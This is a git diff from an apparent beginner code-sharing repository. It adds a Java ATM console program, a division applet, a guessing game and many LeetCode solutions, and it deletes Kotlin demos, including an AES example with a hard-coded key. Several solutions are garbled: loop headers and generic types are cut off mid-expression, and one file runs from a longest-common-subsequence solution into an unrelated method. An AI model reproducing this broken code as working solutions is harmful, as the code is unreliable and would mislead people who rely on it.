System.out.println("\nSorry...Limit is 100000.00"); + } + + } catch (Exception e) { + } + } + + public void transfer() { + + Scanner sc = new Scanner(System.in); + System.out.print("\nEnter Receipent's Name - "); + String receipent = sc.nextLine(); + System.out.print("\nEnter amount to transfer - "); + float amount = sc.nextFloat(); + sc.close(); + + try { + if (balance >= amount) { + if (amount <= 50000f) { + transactions++; + balance -= amount; + System.out.println("\nSuccessfully Transfered to " + receipent); + String str = amount + " Rs transfered to " + receipent + "\n"; + transactionHistory = transactionHistory.concat(str); + } else { + System.out.println("\nSorry...Limit is 50000.00"); + } + } else { + System.out.println("\nInsufficient Balance"); + } + } catch (Exception e) { + } + } + + public void checkBalance() { + System.out.println("\n" + balance + " Rs"); + } + + public void transHistory() { + if (transactions == 0) { + System.out.println("\nEmpty"); + } else { + System.out.println("\n" + transactionHistory); + } + } +} + +public class AtmInterface { + + public static int takeIntegerInput(int limit) { + int input = 0; + boolean flag = false; + + while (!flag) { + try { + Scanner sc = new Scanner(System.in); + input = sc.nextInt(); + flag = true; + sc.close(); + + if (flag && input > limit || input < 1) { + System.out.println("Choose the number between 1 to " + limit); + flag = false; + } + } catch (Exception e) { + System.out.println("Enter only integer value"); + flag = false; + } + } + ; + return input; + } + + public static void main(String[] args) { + + System.out.println("\n**********WELCOME TO SBI ATM SYSTEM**********\n"); + System.out.println("1.Register \n2.Exit"); + System.out.print("Enter Your Choice - "); + int choice = takeIntegerInput(2); + + if (choice == 1) { + BankAccount b = new BankAccount(); + b.register(); + while (true) { + System.out.println("\n1.Login \n2.Exit"); + System.out.print("Enter Your Choice - "); + int ch = takeIntegerInput(2); + if (ch == 1) { + if (b.login()) { + System.out.println("\n\n**********WELCOME BACK " + b.name + " **********\n"); + boolean isFinished = false; + while (!isFinished) { + System.out.println( + "\n1.Withdraw \n2.Deposit \n3.Transfer \n4.Check Balance \n5.Transaction History \n6.Exit"); + System.out.print("\nEnter Your Choice - "); + int c = takeIntegerInput(6); + switch (c) { + case 1: + b.withdraw(); + break; + case 2: + b.deposit(); + break; + case 3: + b.transfer(); + break; + case 4: + b.checkBalance(); + break; + case 5: + b.transHistory(); + break; + case 6: + isFinished = true; + break; + } + } + } + } else { + System.exit(0); + } + } + } else { + System.exit(0); + } + + } +} diff --git a/Add Code Here/Java/Division_Interface.java b/Add Code Here/Java/Division_Interface.java new file mode 100644 index 00000000000..fd48e3078fd --- /dev/null +++ b/Add Code Here/Java/Division_Interface.java @@ -0,0 +1,54 @@ +/*6. Program that creates a user interface to perform basic integer operations. +the user enters two numbers in the TextFields- num1 and num2. The result of +operations must be displayed in the Result TextField when the "=" button is +clicked. appropriate exception handling message to be displayed in the Result +TextField when num1 or num2 is not an integer or num2 is zero when division +operation is applied.*/ + +//Source Code: +/* Develop an applet to perform division */ +import java.awt.*; +import java.applet.*; +import java.awt.event.*; +import javax.swing.*; +/* +*/ +public class DivisionApplet extends Applet implements ActionListener { +Label L1,L2,L3; +TextField T1,T2,Result; +Button B1; +public void init() { +L1=new Label("Enter First Num :"); +add(L1); +T1=new TextField(10); +add(T1); +L2=new Label("Enter Second Num :"); +add(L2); +T2=new TextField(10); + +add(T2); +L3=new Label("result"); +add(L3); +Result=new TextField(10); +add(Result); +B1=new Button("Divide / ="); +add(B1); +B1.addActionListener(this); +} +public void actionPerformed(ActionEvent e) { +if(e.getSource()==B1) { +try { +int value1=Integer.parseInt(T1.getText()); +int value2=Integer.parseInt(T2.getText()); +int result=value1/value2; +Result.setText(String.valueOf(result)); +} +catch(NumberFormatException nfe) { +JOptionPane.showMessageDialog(this,"Not a number"); +} +catch(ArithmeticException ae) { +JOptionPane.showMessageDialog(this,"Divided by Zero"); +} +} +} +} \ No newline at end of file diff --git a/Add Code Here/Java/GuessTheNumber.java b/Add Code Here/Java/GuessTheNumber.java new file mode 100644 index 00000000000..022884f7bda --- /dev/null +++ b/Add Code Here/Java/GuessTheNumber.java @@ -0,0 +1,58 @@ +import java.util.Scanner; +import java.util.Random; +public class GuessTheNumber +{ + public static void main(String [] args) + { + Random obj=new Random(); + int a=obj.nextInt(101); + System.out.println("Generated Number= "+a); + Scanner input=new Scanner(System.in); + System.out.println("Number Generated Successfully!!\n\nNow start Guessing the Number."); + System.out.println("Are you Ready?? Enter Yes or No."); + String b=input.next(); + int count1=0,count2=0,count3=0; + if(b.equalsIgnoreCase("yes")) + { + for(int i=0;i<50;i++) + { + System.out.println("Make a Guess."); + int x=input.nextInt(); + if(a-x>0) + { + System.out.println("Oops!! not a right guess. \nHint: Increse your Number."); + count1++; + int c1=count1+count2+count3; + System.out.println("No. of attempts= "+c1); + System.out.println("Unsuccessful attempts= "+c1+" Successful attempts= 0"); + System.out.println("\nIf you want to continue, go ahead and enter Y for Yes. \nElse,want to leave game enter N for No."); + String c=input.next(); + if(c.equalsIgnoreCase("n")) + break; + } + else if(a-x<0) + { + System.out.println("Oops!! not a right guess. \nHint: Decrese your Number."); + count2++; + int c2=count1+count2+count3; + System.out.println("No. of attempts= "+c2); + System.out.println("Unsuccessful attempts= "+c2+" Successful attempts= 0"); + System.out.println("\nIf you want to continue, go ahead and enter Y for Yes. \nElse,want to leave game enter N for No."); + String d=input.next(); + //count2++; + if(d.equalsIgnoreCase("n")) + break; + } + else if(a-x==0) + { + System.out.println("Congrats!! You Guessed it Right."); + count3++; + int c3=count1+count2+count3; + System.out.println("No. of attempts= "+c3); + System.out.println("Unsuccessful attempts= "+(c3-1)+" Successful attempts= 1."); + break; + } + } + } + } +} diff --git a/Add Code Here/Java/LongestCommonSubsequence.java b/Add Code Here/Java/LongestCommonSubsequence.java new file mode 100644 index 00000000000..9b4a0410b39 --- /dev/null +++ b/Add Code Here/Java/LongestCommonSubsequence.java @@ -0,0 +1,47 @@ +class Solution { + public int longestCommonSubsequence(String text1, String text2) { + + int n1 = text1.length(); + int n2 = text2.length(); + + + + int dp[][] = new int[n1+1][n2+1]; + + + for(int i=0; i getRow(int rowIndex) { + Integer[] ans = new Integer[rowIndex + 1]; + Arrays.fill(ans, 1); + + for (int i = 2; i < rowIndex + 1; ++i) + for (int j = 1; j < i; ++j) + ans[i - j] += ans[i - j - 1]; + + return Arrays.asList(ans); + } + +public static void main(String args[]){ + getrows(4); +} + +} + + diff --git a/Add Code Here/JAVA/Bitwise_XOR_of_all_pairing_2425_leetcode.java b/Add Code Here/Java/Solution_for_Power_of_Two_leetcode.java similarity index 100% rename from Add Code Here/JAVA/Bitwise_XOR_of_all_pairing_2425_leetcode.java rename to Add Code Here/Java/Solution_for_Power_of_Two_leetcode.java diff --git a/Add Code Here/Javascript/leetcode_medium_2693.js b/Add Code Here/Javascript/leetcode_medium_2693.js new file mode 100644 index 00000000000..37797fcc750 --- /dev/null +++ b/Add Code Here/Javascript/leetcode_medium_2693.js @@ -0,0 +1,13 @@ +/** + * @param {Object} context + * @param {Array} args + * @return {null|boolean|number|string|Array|Object} + */ +Function.prototype.callPolyfill = function(context, ...args) { + return this.apply(context, args); + } + + /** + * function increment() { this.count++; return this.count; } + * increment.callPolyfill({count: 1}); // 2 + */ \ No newline at end of file diff --git a/Add Code Here/KOTLIN/EncryptedDecrypted.kt b/Add Code Here/KOTLIN/EncryptedDecrypted.kt deleted file mode 100644 index 7fd330ff81c..00000000000 --- a/Add Code Here/KOTLIN/EncryptedDecrypted.kt +++ /dev/null @@ -1,33 +0,0 @@ -package testLogic - -import java.util.Base64 -import javax.crypto.Cipher -import javax.crypto.spec.IvParameterSpec -import javax.crypto.spec.SecretKeySpec - -fun main() { - val inputText = "Abdul Karim" - val algorithm = "AES/CBC/PKCS5Padding" - val key = SecretKeySpec("1234567890123456".toByteArray(), "AES") - val iv = IvParameterSpec(ByteArray(16)) - - val cipherText = encrypt(algorithm, inputText, key, iv) - println(cipherText) - val plainText = decrypt(algorithm, cipherText, key, iv) - println(plainText) - - assert(inputText == plainText) - -} -fun decrypt(algorithm:String, cipherText: String, key: SecretKeySpec, iv: IvParameterSpec): String{ - val cipher = Cipher.getInstance(algorithm) - cipher.init(Cipher.DECRYPT_MODE, key, iv) - val plainText = cipher.doFinal(Base64.getDecoder().decode(cipherText)) - return String(plainText) -} -fun encrypt(algorithm: String, inputText: String, key: SecretKeySpec, iv: IvParameterSpec):String{ - val cipher = Cipher.getInstance(algorithm) - cipher.init(Cipher.ENCRYPT_MODE, key, iv) - val cipherText = cipher.doFinal(inputText.toByteArray()) - return Base64.getEncoder().encodeToString(cipherText) -} diff --git a/Add Code Here/KOTLIN/Firebase Email and Password Authentication/LogInActivity.kt b/Add Code Here/KOTLIN/Firebase Email and Password Authentication/LogInActivity.kt deleted file mode 100644 index 701f3f3e2b0..00000000000 --- a/Add Code Here/KOTLIN/Firebase Email and Password Authentication/LogInActivity.kt +++ /dev/null @@ -1,42 +0,0 @@ -// package can vary - -import android.content.Intent -import android.graphics.Color -import android.graphics.drawable.ColorDrawable -import androidx.appcompat.app.AppCompatActivity -import android.os.Bundle -import android.widget.Toast -import com.google.firebase.auth.FirebaseAuth -import subrata.practice.firebase.android.authy.databinding.ActivityLogInBinding - -class LogInActivity : AppCompatActivity() { - - private lateinit var binding: ActivityLogInBinding // used viewbinding - private lateinit var firebaseAuth: FirebaseAuth - override fun onCreate(savedInstanceState: Bundle?) { - super.onCreate(savedInstanceState) - binding = ActivityLogInBinding.inflate(layoutInflater) - setContentView(binding.root) - - firebaseAuth = FirebaseAuth.getInstance() - supportActionBar!!.setBackgroundDrawable(ColorDrawable(Color.parseColor("#FF3700B3"))) - - binding.logInBtn.setOnClickListener { - val email = binding.logInEmailEt.text.toString() - val pass = binding.logInPassEt.text.toString() - - if(!(email.isEmpty() && pass.isEmpty())) { - firebaseAuth.signInWithEmailAndPassword(email, pass).addOnCompleteListener { - if(it.isSuccessful) { - val intent = Intent(this, HomeActivity::class.java) - startActivity(intent) - } else { - Toast.makeText(this, it.exception.toString(), Toast.LENGTH_SHORT).show() - } - } - } else { - Toast.makeText(this, "Empty fields are not allowed", Toast.LENGTH_SHORT).show() - } - } - } -} \ No newline at end of file diff --git a/Add Code Here/KOTLIN/Firebase Email and Password Authentication/SignUpActivity.kt b/Add Code Here/KOTLIN/Firebase Email and Password Authentication/SignUpActivity.kt deleted file mode 100644 index 5b3a4cd004e..00000000000 --- a/Add Code Here/KOTLIN/Firebase Email and Password Authentication/SignUpActivity.kt +++ /dev/null @@ -1,42 +0,0 @@ -// package cn vary - -import android.content.Intent -import android.graphics.Color -import android.graphics.drawable.ColorDrawable -import androidx.appcompat.app.AppCompatActivity -import android.os.Bundle -import android.widget.Toast -import com.google.firebase.auth.FirebaseAuth -import subrata.practice.firebase.android.authy.databinding.ActivitySignUpBinding - -class SignUpActivity : AppCompatActivity() { - - private lateinit var binding: ActivitySignUpBinding // used viewbinding - private lateinit var firebaseAuth: FirebaseAuth - override fun onCreate(savedInstanceState: Bundle?) { - super.onCreate(savedInstanceState) - binding = ActivitySignUpBinding.inflate(layoutInflater) - setContentView(binding.root) - - firebaseAuth = FirebaseAuth.getInstance() - supportActionBar!!.setBackgroundDrawable(ColorDrawable(Color.parseColor("#FF3700B3"))) - - binding.signUpBtn.setOnClickListener { - val email = binding.signUpEmailEt.text.toString() - val pass = binding.signUpPassEt.text.toString() - - if(!(email.isEmpty() && pass.isEmpty())) { - firebaseAuth.createUserWithEmailAndPassword(email, pass).addOnCompleteListener { - if(it.isSuccessful) { - val intent = Intent(this, LogInActivity::class.java) - startActivity(intent) - } else { - Toast.makeText(this, it.exception.toString(), Toast.LENGTH_SHORT).show() - } - } - } else { - Toast.makeText(this, "Empty fields are not allowed", Toast.LENGTH_SHORT).show() - } - } - } -} \ No newline at end of file diff --git a/Add Code Here/KOTLIN/GoodDesignForActivityAndroid.kt b/Add Code Here/KOTLIN/GoodDesignForActivityAndroid.kt deleted file mode 100644 index e157171666c..00000000000 --- a/Add Code Here/KOTLIN/GoodDesignForActivityAndroid.kt +++ /dev/null @@ -1,113 +0,0 @@ -package br.com.alura.devhub - -import android.os.Bundle -import androidx.activity.ComponentActivity -import androidx.activity.compose.setContent -import androidx.compose.foundation.Image -import androidx.compose.foundation.background -import androidx.compose.foundation.layout.* -import androidx.compose.foundation.shape.CircleShape -import androidx.compose.foundation.shape.RoundedCornerShape -import androidx.compose.material.MaterialTheme -import androidx.compose.material.Surface -import androidx.compose.material.Text -import androidx.compose.runtime.Composable -import androidx.compose.runtime.remember -import androidx.compose.ui.Alignment -import androidx.compose.ui.Modifier -import androidx.compose.ui.draw.clip -import androidx.compose.ui.graphics.Color -import androidx.compose.ui.res.painterResource -import androidx.compose.ui.text.font.FontWeight -import androidx.compose.ui.text.style.TextAlign -import androidx.compose.ui.tooling.preview.Preview -import androidx.compose.ui.unit.dp -import androidx.compose.ui.unit.sp -import br.com.alura.devhub.ui.theme.DevHubTheme - -/** -* Change 'TODO' for instructions in local. -*

-* user this kt next to the android package -*

-* @author Jackson Roberio - https:jacksonroberio.com.br -*/ -class MainActivity : ComponentActivity() { - override fun onCreate(savedInstanceState: Bundle?) { - super.onCreate(savedInstanceState) - setContent { - DevHubTheme { - Surface( - modifier = Modifier.fillMaxSize(), - color = MaterialTheme.colors.background - ) { - ProfileScreen() - } - } - } - } - -} - -@Preview(showBackground = true) -@Composable -fun ProfileScreen() { - Column { - val boxHeight = remember { - 150.dp - } - val imageHeight = remember { - boxHeight - } - Box( - modifier = Modifier - .fillMaxWidth() - .background( - Color(0xFF2d333b), shape = RoundedCornerShape( - bottomStart = 16.dp, - bottomEnd = 16.dp - ) - ) - .height(boxHeight) - ) { - //TODO: Add in your drawable a image profile - Image( - painterResource(id = R.drawable.jackson_avatar), - contentDescription = "profile pic", - modifier = Modifier - .offset(y = imageHeight / 2) - .size(imageHeight) - .align(Alignment.BottomCenter) - .clip(CircleShape), - ) - } - Spacer(modifier = Modifier.height(imageHeight / 2)) - Column( - Modifier - .padding(8.dp) - .fillMaxWidth(), - horizontalAlignment = Alignment.CenterHorizontally - ) { - Text( - "Jackson Roberio", - fontSize = 32.sp - ) - Text( - "jackson-roberio", - fontSize = 18.sp, - fontWeight = FontWeight.Bold - ) - } - Text( - "Web, mobile and IoT developer", - Modifier - .padding( - start = 8.dp, - bottom = 8.dp, - end = 8.dp - ) - .fillMaxWidth(), - textAlign = TextAlign.Center - ) - } -} diff --git a/Add Code Here/KOTLIN/NameGenerator.kt b/Add Code Here/KOTLIN/NameGenerator.kt deleted file mode 100644 index c7479b47336..00000000000 --- a/Add Code Here/KOTLIN/NameGenerator.kt +++ /dev/null @@ -1,9 +0,0 @@ -fun main() { - val vowel = arrayOf('a', 'i', 'u', 'e', 'o') - val consonant = arrayOf('b', 'c', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'm', 'n', 'p', 'q', 'r', 's', 't', 'v', 'w', 'y', 'z') - - for (i in 0..5) { - if (i % 2 == 0) print(consonant[(0..consonant.size-1).random()]) - else print(vowel[(0..vowel.size-1).random()]) - } -} diff --git a/Add Code Here/KOTLIN/ShimmerEffectForAndroid b/Add Code Here/KOTLIN/ShimmerEffectForAndroid deleted file mode 100644 index 1a389ebd9e1..00000000000 --- a/Add Code Here/KOTLIN/ShimmerEffectForAndroid +++ /dev/null @@ -1,30 +0,0 @@ -package com.harets.testing_features.features - -import android.os.Bundle -import android.os.Handler -import android.view.View -import androidx.appcompat.app.AppCompatActivity -import com.harets.testing_features.databinding.ActivityShimmerBinding - -class ShimmerActivity : AppCompatActivity() { - - private lateinit var binding: ActivityShimmerBinding - - override fun onCreate(savedInstanceState: Bundle?) { - super.onCreate(savedInstanceState) - binding = ActivityShimmerBinding.inflate(layoutInflater) - setContentView(binding.root) - - binding.apply { - dataView.visibility = View.INVISIBLE - shimmerView.startShimmerAnimation() - - val handler = Handler() - handler.postDelayed({ - dataView.setVisibility(View.VISIBLE) - shimmerView.stopShimmerAnimation() - shimmerView.setVisibility(View.INVISIBLE) - }, 5000) - } - } -} diff --git a/Add Code Here/KOTLIN/primenumber.kt b/Add Code Here/KOTLIN/primenumber.kt deleted file mode 100644 index 7c14f044c1c..00000000000 --- a/Add Code Here/KOTLIN/primenumber.kt +++ /dev/null @@ -1,16 +0,0 @@ -fun main(args: Array) { - val num = 29 - var flag = false - for (i in 2..num / 2) { - // condition for nonprime number - if (num % i == 0) { - flag = true - break - } - } - - if (!flag) - println("$num is a prime number.") - else - println("$num is not a prime number.") -} \ No newline at end of file diff --git a/Add Code Here/LeetCode Problems/0015-3sum.cpp b/Add Code Here/LeetCode Problems/0015-3sum.cpp new file mode 100644 index 00000000000..56d484acff6 --- /dev/null +++ b/Add Code Here/LeetCode Problems/0015-3sum.cpp @@ -0,0 +1,33 @@ +class Solution { +public: + vector> threeSum(vector& nums) { + ios_base::sync_with_stdio(false); + cin.tie(NULL); + int n=nums.size(); + sort(nums.begin(),nums.end()); + vector>ans; + int n1,j,k; + for(int i=0;i0 && nums[i]!=nums[i-1])) { + n1=-nums[i]; + j=i+1;k=n-1; + while(jj && nums[k]==nums[k-1]) k--; + j++;k--; + } + else if(s& nums, int t) { + sort(nums.begin(),nums.end()); + int n=nums.size(),l=0,h=n-1,ans=INT_MAX,lmin=INT_MAX; + for(int i=0;ik) { + h--; + } else if(bc==k) { + return bc+a; + } + if(lmin>abs(t-bc-a)) { + lmin=abs(t-bc-a); + ans=bc+a; + } + } + + } + return ans; + } +}; \ No newline at end of file diff --git a/Add Code Here/LeetCode Problems/0017-letter-combinations-of-a-phone-number.cpp b/Add Code Here/LeetCode Problems/0017-letter-combinations-of-a-phone-number.cpp new file mode 100644 index 00000000000..7c1c2469d45 --- /dev/null +++ b/Add Code Here/LeetCode Problems/0017-letter-combinations-of-a-phone-number.cpp @@ -0,0 +1,28 @@ +class Solution { +public: + unordered_mapmp{{'2',"abc"},{'3',"def"},{'4',"ghi"},{'5',"jkl"},{'6',"mno"},{'7',"pqrs"},{'8',"tuv"},{'9',"wxyz"}}; + + void recurse(string &d,int n,vector &ans,string &s) { + if(n<0) + return; + for(int i=0;i letterCombinations(string digits) { + ios_base::sync_with_stdio(false); + cin.tie(NULL); + int n=digits.size(); + if(n==0) + return {}; + vectorans; + string s=""; + recurse(digits,n-1,ans,s); + return ans; + } +}; diff --git a/Add Code Here/LeetCode Problems/0018-4sum.cpp b/Add Code Here/LeetCode Problems/0018-4sum.cpp new file mode 100644 index 00000000000..b4cced04f8e --- /dev/null +++ b/Add Code Here/LeetCode Problems/0018-4sum.cpp @@ -0,0 +1,41 @@ +class Solution { +public: + // 0 1 2 3 4 5 + //-2,-1,0,0,1,2 - n=6 + vector> fourSum(vector& nums, int t) { + ios_base::sync_with_stdio(false); + cin.tie(NULL); + int n=nums.size(); + sort(nums.begin(),nums.end()); + vector>ans; + int n0,n1,j,k; + for(int i=0;i0 && nums[i]!=nums[i-1])) { + n0=nums[i]; + for(int l=i+1;li+1 && nums[l]!=nums[l-1]) ) { + n1=nums[l]; + long long sum=(long long)t-n0-n1; + j=l+1;k=n-1; + while(jj && nums[k]==nums[k-1]) k--; + j++;k--; + } + else if(s List[int]: + l=[] + for i in range(0,len(nums)): + for j in range(i+1,len(nums)): + if nums[i]+nums[j]==target: + l.append(i) + l.append(j) + return l diff --git a/Add Code Here/LeetCode Problems/1. Two Sum.cpp b/Add Code Here/LeetCode Problems/1. Two Sum.cpp new file mode 100644 index 00000000000..1b0450b9dd2 --- /dev/null +++ b/Add Code Here/LeetCode Problems/1. Two Sum.cpp @@ -0,0 +1,14 @@ +class Solution { +public: + vector twoSum(vector& nums, int target) { + for(int i=0;i int: + roman_values = { + 'I': 1, + 'V': 5, + 'X': 10, + 'L': 50, + 'C': 100, + 'D': 500, + 'M': 1000 + } + + total = 0 + prev_value = 0 + + for char in s: + current_value = roman_values[char] + + if current_value > prev_value: + total += current_value - 2 * prev_value + else: + total += current_value + + prev_value = current_value + + return total diff --git a/Add Code Here/LeetCode Problems/162. Find Peak Element.java b/Add Code Here/LeetCode Problems/162. Find Peak Element.java new file mode 100644 index 00000000000..12817ef0d80 --- /dev/null +++ b/Add Code Here/LeetCode Problems/162. Find Peak Element.java @@ -0,0 +1,20 @@ +class Solution { + public int findPeakElement(int[] arr) { + int start=0; + int end=arr.length-1; + while(startarr[mid+1]) + { + end=mid; + } + else + { + start=mid+1; + } + + } + return start; + } +}// optimal solution \ No newline at end of file diff --git a/Add Code Here/LeetCode Problems/189. Rotate Array.java b/Add Code Here/LeetCode Problems/189. Rotate Array.java new file mode 100644 index 00000000000..28aca76d641 --- /dev/null +++ b/Add Code Here/LeetCode Problems/189. Rotate Array.java @@ -0,0 +1,18 @@ +class Solution { + public void rotate(int[] nums, int k) { + k %= nums.length; + int n = nums.length; + reverseNum(nums,0,n-1); + reverseNum(nums,0,k-1); + reverseNum(nums,k,n-1); + } + public void reverseNum(int[] nums, int start, int end) { + while(start < end) { + int temp = nums[start]; + nums[start] = nums[end]; + nums[end] = temp; + start++; + end--; + } + } +} diff --git a/Add Code Here/LeetCode Problems/2. Add Two Numbers.py b/Add Code Here/LeetCode Problems/2. Add Two Numbers.py new file mode 100644 index 00000000000..303387b9ab7 --- /dev/null +++ b/Add Code Here/LeetCode Problems/2. Add Two Numbers.py @@ -0,0 +1,28 @@ +# 2. Add Two Numbers +# https://leetcode.com/problems/add-two-numbers/ +# You are given two non-empty linked lists representing two non-negative integers. The digits are stored in reverse order, and each of their nodes contains a single digit. Add the two numbers and return the sum as a linked list. You may assume the two numbers do not contain any leading zero, except the number 0 itself. + +class Solution: + def addTwoNumbers(self, l1: Optional[ListNode], l2: Optional[ListNode]) -> Optional[ListNode]: + dummy_head = ListNode(0) # Create a dummy node to simplify code + current = dummy_head + carry = 0 + + while l1 or l2: + x = l1.val if l1 else 0 + y = l2.val if l2 else 0 + + total = x + y + carry + carry = total // 10 # Calculate the carry for the next step + current.next = ListNode(total % 10) # Create a new node for the sum + current = current.next + + if l1: + l1 = l1.next + if l2: + l2 = l2.next + + if carry > 0: + current.next = ListNode(carry) # If there's a carry left, create a new node + + return dummy_head.next # Return the result linked list (skip the dummy node) diff --git a/Add Code Here/LeetCode Problems/2874 MaximumValueofanOrderedTripletII.cpp b/Add Code Here/LeetCode Problems/2874 MaximumValueofanOrderedTripletII.cpp new file mode 100644 index 00000000000..13b2488ab0f --- /dev/null +++ b/Add Code Here/LeetCode Problems/2874 MaximumValueofanOrderedTripletII.cpp @@ -0,0 +1,18 @@ +class Solution { +public: + long long maximumTripletValue(vector& nums) { + long long maxtillnow=0; + long long bigdif=0; + int n=nums.size(); + long long ans=0; + for(int i=0;ians)ans = a; + long long b=maxtillnow-nums[i]; + if(b>bigdif)bigdif=b; + long long c=nums[i]; + if(c>maxtillnow)maxtillnow=c; + } + return ans; + } +}; diff --git a/Add Code Here/LeetCode Problems/456. 132 Pattern b/Add Code Here/LeetCode Problems/456. 132 Pattern new file mode 100644 index 00000000000..2e5438d9887 --- /dev/null +++ b/Add Code Here/LeetCode Problems/456. 132 Pattern @@ -0,0 +1,17 @@ +class Solution { +public: + bool find132pattern(vector& nums) { + stack s; + int third = INT_MIN; + + for (int i = nums.size() - 1; i >= 0; i--) { + if (nums[i] < third) return true; + while (!s.empty() && s.top() < nums[i]) { + third = s.top(); + s.pop(); + } + s.push(nums[i]); + } + return false; + } +}; diff --git a/Add Code Here/LeetCode Problems/557 Reverse words in a string III.py b/Add Code Here/LeetCode Problems/557 Reverse words in a string III.py new file mode 100644 index 00000000000..35f28187c48 --- /dev/null +++ b/Add Code Here/LeetCode Problems/557 Reverse words in a string III.py @@ -0,0 +1,10 @@ +class Solution: + def reverseWords(self, s: str) -> str: + word=s.split() + ans='' + for i in word: + ans+=i[::-1] + ans+=' ' + return(ans[:-1]) + + diff --git a/Add Code Here/LeetCode Problems/585. Investments in 2016.sql b/Add Code Here/LeetCode Problems/585. Investments in 2016.sql new file mode 100644 index 00000000000..70feddf482a --- /dev/null +++ b/Add Code Here/LeetCode Problems/585. Investments in 2016.sql @@ -0,0 +1,14 @@ +SELECT ROUND(SUM(tiv_2016),2) as tiv_2016 +FROM Insurance +WHERE tiv_2015 IN + (SELECT tiv_2015 + FROM Insurance + GROUP BY tiv_2015 + HAVING COUNT(tiv_2015) > 1) +AND NOT (lat,lon) IN + ( + SELECT lat,lon + FROM Insurance + GROUP BY lat,lon + HAVING COUNT(1) > 1 + ) \ No newline at end of file diff --git a/Add Code Here/LeetCode Problems/78 Subsets.cpp b/Add Code Here/LeetCode Problems/78 Subsets.cpp new file mode 100644 index 00000000000..e8973dfdbd6 --- /dev/null +++ b/Add Code Here/LeetCode Problems/78 Subsets.cpp @@ -0,0 +1,20 @@ +class Solution { +public: + void rec(vector> &a, vector &v, vector nums, int l) { + if(l == nums.size()) { + a.push_back(v); + return; + } + v.push_back(nums[l]); + rec(a,v,nums,l+1); + v.pop_back(); + rec(a,v,nums,l+1); + } + + vector> subsets(vector& nums) { + vector> a; + vector v; + rec(a,v,nums,0); + return a; + } +}; diff --git a/Add Code Here/LeetCode Problems/9. Palindrome Number.py b/Add Code Here/LeetCode Problems/9. Palindrome Number.py new file mode 100644 index 00000000000..432ee7ecf9e --- /dev/null +++ b/Add Code Here/LeetCode Problems/9. Palindrome Number.py @@ -0,0 +1,17 @@ +class Solution: + def isPalindrome(self, x: int) -> bool: + # Handle negative numbers and numbers ending with 0 (except 0 itself) + if x < 0 or (x != 0 and x % 10 == 0): + return False + + reversed_x = 0 + original_x = x + + # Reverse the integer + while x > 0: + digit = x % 10 + reversed_x = reversed_x * 10 + digit + x = x // 10 + + # Check if the reversed integer is the same as the original + return original_x == reversed_x diff --git a/Add Code Here/LeetCode Problems/romanToInt.js b/Add Code Here/LeetCode Problems/romanToInt.js new file mode 100644 index 00000000000..1c3179d98be --- /dev/null +++ b/Add Code Here/LeetCode Problems/romanToInt.js @@ -0,0 +1,29 @@ +var romanToInt = function(s) { + const romanSymbols = { + "I" : 1, + "V" : 5, + "X" : 10, + "L" : 50, + "C" : 100, + "D" : 500, + "M" : 1000 + } + + let total = 0; + for(let i = 0 ; i< s.length ; i++){ + let currentValue = romanSymbols[s[i]]; + let nextValue = romanSymbols[s[i+1]]; + + if(nextValue > currentValue){ + total -= currentValue + } + else{ + total += currentValue + } + } + + + return total; + }; + +console.log(romanToInt("MCMXCIV")) diff --git a/Add Code Here/LeetCode_c++/0004-median-of-two-sorted-arrays/0004-median-of-two-sorted-arrays.cpp b/Add Code Here/LeetCode_c++/0004-median-of-two-sorted-arrays/0004-median-of-two-sorted-arrays.cpp new file mode 100644 index 00000000000..abc294250fa --- /dev/null +++ b/Add Code Here/LeetCode_c++/0004-median-of-two-sorted-arrays/0004-median-of-two-sorted-arrays.cpp @@ -0,0 +1,112 @@ +class Solution { +public: + double findMedianSortedArrays(vector& nums1, vector& nums2) + { + int n1=nums1.size(),n2=nums2.size(); + + if(n1>n2) + return findMedianSortedArrays(nums2,nums1); + + int n = n1+n2; + int left = (n+1)/2; + + int low=0 ,high=n1; + + while(low<=high) + { + int mid1=(low+high)>>1; + int mid2= left-mid1; + + int l1 =INT_MIN ,l2=INT_MIN ,r1=INT_MAX,r2=INT_MAX; + + if( mid1 =1) + l1=nums1[mid1-1]; + if(mid2>=1) + l2=nums2[mid2-1]; + + if( l1<= r2 && l2<=r1 ) + { + if(n%2==1) + return max(l1,l2); + else + return (double)(max(l1,l2)+min(r1,r2)) /2; + } + + else if( l1>r2) + high =mid1-1; + else + low=mid1+1; + + } + return 0; + + //--------- + // int n = nums1.size(); + // int m = nums2.size(); + // int size =n+m ; + + // int idx1 = size/2; + // int idx2 = (size/2)-1; + + // int element1 =0; + // int element2 =0; + + // int i=0; + // int j=0; + // int k=0; + + // while( i4. Median of Two Sorted Arrays

Hard


Given two sorted arrays nums1 and nums2 of size m and n respectively, return the median of the two sorted arrays.

+ +

The overall run time complexity should be O(log (m+n)).

+ +

 

+

Example 1:

+ +
+Input: nums1 = [1,3], nums2 = [2]
+Output: 2.00000
+Explanation: merged array = [1,2,3] and median is 2.
+
+ +

Example 2:

+ +
+Input: nums1 = [1,2], nums2 = [3,4]
+Output: 2.50000
+Explanation: merged array = [1,2,3,4] and median is (2 + 3) / 2 = 2.5.
+
+ +

 

+

Constraints:

+ +
    +
  • nums1.length == m
  • +
  • nums2.length == n
  • +
  • 0 <= m <= 1000
  • +
  • 0 <= n <= 1000
  • +
  • 1 <= m + n <= 2000
  • +
  • -106 <= nums1[i], nums2[i] <= 106
  • +
diff --git a/Add Code Here/LeetCode_c++/0006-zigzag-conversion/0006-zigzag-conversion.cpp b/Add Code Here/LeetCode_c++/0006-zigzag-conversion/0006-zigzag-conversion.cpp new file mode 100644 index 00000000000..cf95ecb32ec --- /dev/null +++ b/Add Code Here/LeetCode_c++/0006-zigzag-conversion/0006-zigzag-conversion.cpp @@ -0,0 +1,55 @@ +class Solution { +public: + string convert(string s, int n) + { + if(n==1) return s; + // vector row(n); + // int j=0,d=1; + // for( int i=0;i6. Zigzag Conversion

Medium


The string "PAYPALISHIRING" is written in a zigzag pattern on a given number of rows like this: (you may want to display this pattern in a fixed font for better legibility)

+ +
+P   A   H   N
+A P L S I I G
+Y   I   R
+
+ +

And then read line by line: "PAHNAPLSIIGYIR"

+ +

Write the code that will take a string and make this conversion given a number of rows:

+ +
+string convert(string s, int numRows);
+
+ +

 

+

Example 1:

+ +
+Input: s = "PAYPALISHIRING", numRows = 3
+Output: "PAHNAPLSIIGYIR"
+
+ +

Example 2:

+ +
+Input: s = "PAYPALISHIRING", numRows = 4
+Output: "PINALSIGYAHRPI"
+Explanation:
+P     I    N
+A   L S  I G
+Y A   H R
+P     I
+
+ +

Example 3:

+ +
+Input: s = "A", numRows = 1
+Output: "A"
+
+ +

 

+

